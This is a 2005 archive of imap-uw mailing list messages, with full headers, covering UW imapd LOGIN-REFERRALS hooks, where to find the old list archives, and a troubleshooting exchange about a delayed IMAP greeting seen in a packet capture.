mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CB4i9e024817 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 12 Sep 2005 04:04:44 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CB4Z2u015902 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 12 Sep 2005 04:04:35 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CB4Zr8003962; Mon, 12 Sep 2005 04:04:35 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CB4ZNq003954 for ; Mon, 12 Sep 2005 04:04:35 -0700 Received: from karpinski.uscs.susx.ac.uk (karpinski.uscs.susx.ac.uk [139.184.14.85]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CB4VVn029559 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 12 Sep 2005 04:04:32 -0700 Received: from lewes.staff.uscs.susx.ac.uk ([139.184.34.80]:58065) by karpinski.uscs.susx.ac.uk with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.43) id IMPAUH-000IM1-PM for imap-uw@u.washington.edu; Mon, 12 Sep 2005 12:06:17 +0100 Date: Mon, 12 Sep 2005 12:04:45 +0100 From: Ian Eiloart To: imap-uw@u.washington.edu Message-ID: <1E30E13F6F0CE6D40BD5A528@lewes.staff.uscs.susx.ac.uk> Originator-Info: login-token=Mulberry:01cjDNFduRO3qznSF33lblpUCI2Kjub9VW55sNfeKTK3zXoaClQHjmXjOD5ZvXqPt21l41eQ==; token_authority=support@sussex.ac.uk X-Mailer: Mulberry/4.0.1 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] login-referrals X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi, UoW imapd advertises the LOGIN-REFERRALS capability, but I can't find any documentation on how to use this. Is it possible to configure the server to return a referral to some users, but not others? How? Does anyone know whether any clients actually support the capability? -- Ian Eiloart Servers Team Sussex University ITS _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Sep 12 04:05:18 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 12 Sep 2005 04:05:18 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CB5IK4029484 for ; Mon, 12 Sep 2005 04:05:18 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CB5Hbe024852 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 12 Sep 2005 04:05:17 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CB5D1M030084 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 12 Sep 2005 04:05:13 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CB5DME004031; Mon, 12 Sep 2005 04:05:13 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CB5Cpc004023 for ; Mon, 12 Sep 2005 04:05:12 -0700 Received: from karpinski.uscs.susx.ac.uk (karpinski.uscs.susx.ac.uk [139.184.14.85]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CB5AL4011289 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 12 Sep 2005 04:05:11 -0700 Received: from lewes.staff.uscs.susx.ac.uk ([139.184.34.80]:58066) by karpinski.uscs.susx.ac.uk with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.43) id IMPAVL-000IO0-6V for imap-uw@u.washington.edu; Mon, 12 Sep 2005 12:06:57 +0100 Date: Mon, 12 Sep 2005 12:05:25 +0100 From: Ian Eiloart To: imap-uw@u.washington.edu Message-ID: Originator-Info: login-token=Mulberry:013JiUEUX5AnYdBehzSL5PDQeEQhC1az++UQPUeUz78nhBCQoNB3RQxvp/TwNBEMJyQMb8dQ==; token_authority=support@sussex.ac.uk X-Mailer: Mulberry/4.0.1 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] old list archives X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi, Are there archives of the old list anywhere? From before the migration to Mailman, I mean. -- Ian Eiloart Servers Team Sussex University ITS _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Sep 12 09:16:42 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 12 Sep 2005 09:16:42 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGGgsa010865 for ; Mon, 12 Sep 2005 09:16:42 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGGfT5021611 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 12 Sep 2005 09:16:41 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGGWpF028438 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 12 Sep 2005 09:16:32 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGGWHK017589; Mon, 12 Sep 2005 09:16:32 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGGVRG017581 for ; Mon, 12 Sep 2005 09:16:31 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGGV2N021443 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 12 Sep 2005 09:16:31 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGGU2I028433 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 12 Sep 2005 09:16:31 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGGTPu003056 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 12 Sep 2005 09:16:30 -0700 Date: Mon, 12 Sep 2005 09:16:28 -0700 (PDT) From: Mark Crispin To: Ian Eiloart Subject: Re: [Imap-uw] login-referrals In-Reply-To: <1E30E13F6F0CE6D40BD5A528@lewes.staff.uscs.susx.ac.uk> Message-ID: References: <1E30E13F6F0CE6D40BD5A528@lewes.staff.uscs.susx.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 12 Sep 2005, Ian Eiloart wrote: > UoW imapd advertises the LOGIN-REFERRALS capability, but I can't find any > documentation on how to use this. Is it possible to configure the server to > return a referral to some users, but not others? How? UW imapd has the necessary hooks to issue LOGIN-REFERRALS, but only if there is site-local software at the login point that decides whether or not to generate the referral. In other words, the way to "configure" referrals is to write the local site software to generate a referral and then attack it to UW imapd using the provided hooks. A "small matter of programming." > Does anyone know whether any clients actually support the capability? Pine and PC Pine will follow referrals. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Sep 12 09:18:13 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 12 Sep 2005 09:18:13 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGIDkt010984 for ; Mon, 12 Sep 2005 09:18:13 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGIC2o008481 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 12 Sep 2005 09:18:12 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGI8gX031127 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 12 Sep 2005 09:18:08 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGI8kR017961; Mon, 12 Sep 2005 09:18:08 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGI6NT017950 for ; Mon, 12 Sep 2005 09:18:06 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGI6iX021644 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 12 Sep 2005 09:18:06 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGI5rJ028847 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 12 Sep 2005 09:18:06 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGI4wa024507 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 12 Sep 2005 09:18:05 -0700 Date: Mon, 12 Sep 2005 09:18:00 -0700 (PDT) From: Mark Crispin To: Ian Eiloart Subject: Re: [Imap-uw] old list archives In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 12 Sep 2005, Ian Eiloart wrote: > Are there archives of the old list anywhere? From before the migration to > Mailman, I mean. ftp://ftp.cac.washington.edu/mail/c-client_archive -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Sep 12 09:50:41 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 12 Sep 2005 09:50:41 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGof53012861 for ; Mon, 12 Sep 2005 09:50:41 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGoe53010531 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 12 Sep 2005 09:50:40 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGoGvE003938 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 12 Sep 2005 09:50:18 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGoGTw024679; Mon, 12 Sep 2005 09:50:16 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGoFlW024662 for ; Mon, 12 Sep 2005 09:50:15 -0700 Received: from karpinski.uscs.susx.ac.uk (karpinski.uscs.susx.ac.uk [139.184.14.85]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGoBap022886 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 12 Sep 2005 09:50:12 -0700 Received: from lewes.staff.uscs.susx.ac.uk ([139.184.34.80]:60896) by karpinski.uscs.susx.ac.uk with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.43) id IMPQUN-0001PT-8K; Mon, 12 Sep 2005 17:51:59 +0100 Date: Mon, 12 Sep 2005 17:50:27 +0100 From: Ian Eiloart To: Mark Crispin Subject: Re: [Imap-uw] old list archives Message-ID: <2137CE07919D98F5F454E1E8@lewes.staff.uscs.susx.ac.uk> In-Reply-To: References: Originator-Info: login-token=Mulberry:01dduXjN48BfG2SOvu4QHoUAr/21O45tgB6kbX9OU+9fPaTKNQCu/pCf366EbaU8Xt2Qn/8A==; token_authority=support@sussex.ac.uk X-Mailer: Mulberry/4.0.1 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --On 12 September 2005 09:18:00 -0700 Mark Crispin wrote: > On Mon, 12 Sep 2005, Ian Eiloart wrote: >> Are there archives of the old list anywhere? From before the migration >> to Mailman, I mean. > > ftp://ftp.cac.washington.edu/mail/c-client_archive thanks. -- Ian Eiloart Servers Team Sussex University ITS _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Sep 12 09:57:34 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 12 Sep 2005 09:57:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGvYcF013204 for ; Mon, 12 Sep 2005 09:57:34 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGvWnu010921 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 12 Sep 2005 09:57:32 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGvQil019995 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 12 Sep 2005 09:57:27 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGvQcp026400; Mon, 12 Sep 2005 09:57:26 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGvPO4026378 for ; Mon, 12 Sep 2005 09:57:25 -0700 Received: from karpinski.uscs.susx.ac.uk (karpinski.uscs.susx.ac.uk [139.184.14.85]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGvLIv000705 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 12 Sep 2005 09:57:23 -0700 Received: from lewes.staff.uscs.susx.ac.uk ([139.184.34.80]:60916) by karpinski.uscs.susx.ac.uk with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.43) id IMPR6L-0002QW-I8; Mon, 12 Sep 2005 17:59:09 +0100 Date: Mon, 12 Sep 2005 17:57:37 +0100 From: Ian Eiloart To: Mark Crispin Subject: Re: [Imap-uw] login-referrals Message-ID: <5C5098636BC851095EF3F0FC@lewes.staff.uscs.susx.ac.uk> In-Reply-To: References: <1E30E13F6F0CE6D40BD5A528@lewes.staff.uscs.susx.ac.uk> Originator-Info: login-token=Mulberry:014vqSo0tbAAgjZ+YFTiBVbwUWSHKz/UUgV2XSC1Jd8ApHaxBvBQZWKPgRVWVHcsAERij6Bw==; token_authority=support@sussex.ac.uk X-Mailer: Mulberry/4.0.1 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --On 12 September 2005 09:16:28 -0700 Mark Crispin wrote: > On Mon, 12 Sep 2005, Ian Eiloart wrote: >> UoW imapd advertises the LOGIN-REFERRALS capability, but I can't find >> any documentation on how to use this. Is it possible to configure the >> server to return a referral to some users, but not others? How? > > UW imapd has the necessary hooks to issue LOGIN-REFERRALS, but only if > there is site-local software at the login point that decides whether or > not to generate the referral. Ah, and I see hints on how to do that from the old archives. Cheers! > In other words, the way to "configure" referrals is to write the local > site software to generate a referral and then attack it to UW imapd using > the provided hooks. A "small matter of programming." > >> Does anyone know whether any clients actually support the capability? > > Pine and PC Pine will follow referrals. > cool. -- Ian Eiloart Servers Team Sussex University ITS _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Sep 12 10:00:07 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 12 Sep 2005 10:00:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CH06id013354 for ; Mon, 12 Sep 2005 10:00:06 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CH05uf024342 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 12 Sep 2005 10:00:06 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CH01Xf020680 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 12 Sep 2005 10:00:01 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CH01k0026944; Mon, 12 Sep 2005 10:00:01 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGxxfq026921 for ; Mon, 12 Sep 2005 09:59:59 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGxxaa005390 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 12 Sep 2005 09:59:59 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGxwTk012342 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 12 Sep 2005 09:59:58 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8CGxuGt003312 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 12 Sep 2005 09:59:57 -0700 Date: Mon, 12 Sep 2005 09:59:56 -0700 (PDT) From: Mark Crispin To: Marcelo Coelho Galeti - GMail Subject: Re: [Imap-uw] imap2000 directly to imap2004 In-Reply-To: <000801c5b65f$daed4ba0$088d0cc9@galeti> Message-ID: References: <005401c5b149$36ac07e0$fc9e1fc9@bigfirm.local> <001301c5b1a7$bbd943c0$0cc51fc9@galeti> <000801c5b65f$daed4ba0$088d0cc9@galeti> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Since your copy of imap-2000c1 has been hacked, I can not speak authoritatively about its behavior. I have no knowledge of the hacks put in by other people. I can not tell if that strange connection to the SMTP server is the result of some RedHat hack or not. If it always happens, then I guess that it is some RedHat hack. Does the problem goes away when you update to imap-2004f (directly from UW, so unhacked)? If so, then it probably was something that RedHat did; and since you are now running unhacked code you can forget about it. On Sat, 10 Sep 2005, Marcelo Coelho Galeti - GMail wrote: > Hello Mark, > > Thank you very much ! I compiled the code and this weekend I will do some > tests. > > Can I use your knowledge more one time ? > My imap have a strange behavior and I dont know if this is because the old > IMAP2000 version: > > After the client click in some folder, or send or receive, the client spent > 10, 12 seconds to start > the process .. if I look with ethereal I can see this: > > -Click send/receive > - In the same second I saw a connection in the mail server > TCP 2813 > imap2 [SYN] Seq=2267293776 Ack=0 Win=16384 Len=0 MSS=1280 62 imap2 > TCP imap2 > 2813 [SYN, ACK] Seq=3517919463 Ack=2267293777 Win=5840 Len=0 > MSS=1460 62 2813 > TCP 2813 > imap2 [ACK] Seq=2267293777 Ack=3517919464 Win=16640 Len=0 60 imap2 > > > stop 10, 12 seconds and, only after this, the imap go ahead > > > TCP 52352 > smtp [SYN] Seq=3393363720 Ack=0 Win=5840 Len=0 MSS=1400 > TSV=204104988 TSER=0 WS=0 74 smtp > TCP smtp > 52352 [SYN, ACK] Seq=3556837017 Ack=3393363721 Win=5792 Len=0 > MSS=1460 TSV=19616215 TSER=204104988 WS=0 74 52352 > TCP 52352 > smtp [ACK] Seq=3393363721 Ack=3556837018 Win=5840 Len=0 > TSV=204105014 TSER=19616215 66 smtp > SMTP Command: HELO test.de 85 smtp > TCP smtp > 52352 [ACK] Seq=3556837018 Ack=3393363740 Win=5792 Len=0 > TSV=19616241 TSER=204105014 66 52352 > SMTP Response: 220 mail.huf.com.br ESMTP Sendmail 8.11.6p2/8.11.6; Sat, 10 > Sep 2005 20:26:50 -0300 151 52352 > SMTP Response: 250 mail.huf.com.br Hello [192.168.1.6], pleased to meet you > 174 52352 > TCP 52352 > smtp [ACK] Seq=3393363740 Ack=3556837103 Win=5840 Len=0 > TSV=204105040 TSER=19616241 66 smtp > TCP 52352 > smtp [FIN, ACK] Seq=3393363740 Ack=3556837212 Win=5840 Len=0 > TSV=204105041 TSER=19616241 66 smtp > TCP smtp > 52352 [ACK] Seq=3556837212 Ack=3393363741 Win=5792 Len=0 > TSV=19616268 TSER=204105041 66 52352 > IMAP Response: * OK [CAPABILITY IMAP4 IMAP4REV1 STARTTLS LOGIN-REFERRALS > AUTH=LOGIN] mail2.huf.com.br IMAP4rev1 2000.287cl at Sat, 10 Sep 2005 > 20:26:51 -0300 (BRT) 204 2813 > TCP 2813 > imap2 [ACK] Seq=2267293777 Ack=3517919614 Win=16490 Len=0 60 imap2 > > > Is this some knowed problem ? > > > Best Regards and nice weekend > > > 